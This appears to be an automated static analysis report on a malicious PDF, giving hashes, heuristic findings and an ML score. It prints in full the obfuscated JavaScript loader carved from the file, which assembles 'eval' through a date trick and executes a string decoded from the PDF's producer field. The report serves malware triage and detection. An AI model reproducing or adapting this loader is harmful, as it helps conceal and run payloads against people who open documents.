Malicious PDF — malware analysis report

Static analysis result for SHA-256 d08409d0e2e8c683…

MALICIOUS

PDF

22.1 KB Created: 2010-07-25 10:32:51 First seen: 2026-05-09
MD5: bb8d416812bc52fa1c5cd552e6eb7324 SHA-1: 37d8bc3c1903a9e2df890b2908807bf33cb89dd2 SHA-256: d08409d0e2e8c68311a6494319df4fbb1ac3c39329f0e5518cc966478cc31432
116 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious File

The PDF document contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript file, 'javascript_obj0001_000.js', is likely responsible for executing the malicious payload. The exact function of the script is not fully discernible due to potential obfuscation, but its presence within a PDF and the high ML score suggest it's designed to exploit vulnerabilities or deliver further malware.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    cox\(cox\('String.fromCharCode\(' + gqg + '\)'\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x564F 375 bytes
SHA-256: 86542e358738f0ae48254760da4ac4e530c5359e5fe7064320ba9daffeff179c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
abvo = app;
oows = new Date(2010,11,4);
var wrjtj='';
var mweu = 'e'+oows.getDay()+'a'+wrjtj+'l';
mweu = mweu.replace('6','v');
cox=abvo[mweu];
var wrjtj='';
cox('va'+wrjtj+'r tzfao=th'+wrjtj+'i'+wrjtj+'s');
xil='pr' + wrjtj + oows.getDay() + wrjtj + 'uc' +'er';
xil = xil.replace('6', 'od');
var gqg = tzfao[xil];
cox(cox('String.fromCharCode(' + gqg + ')'));

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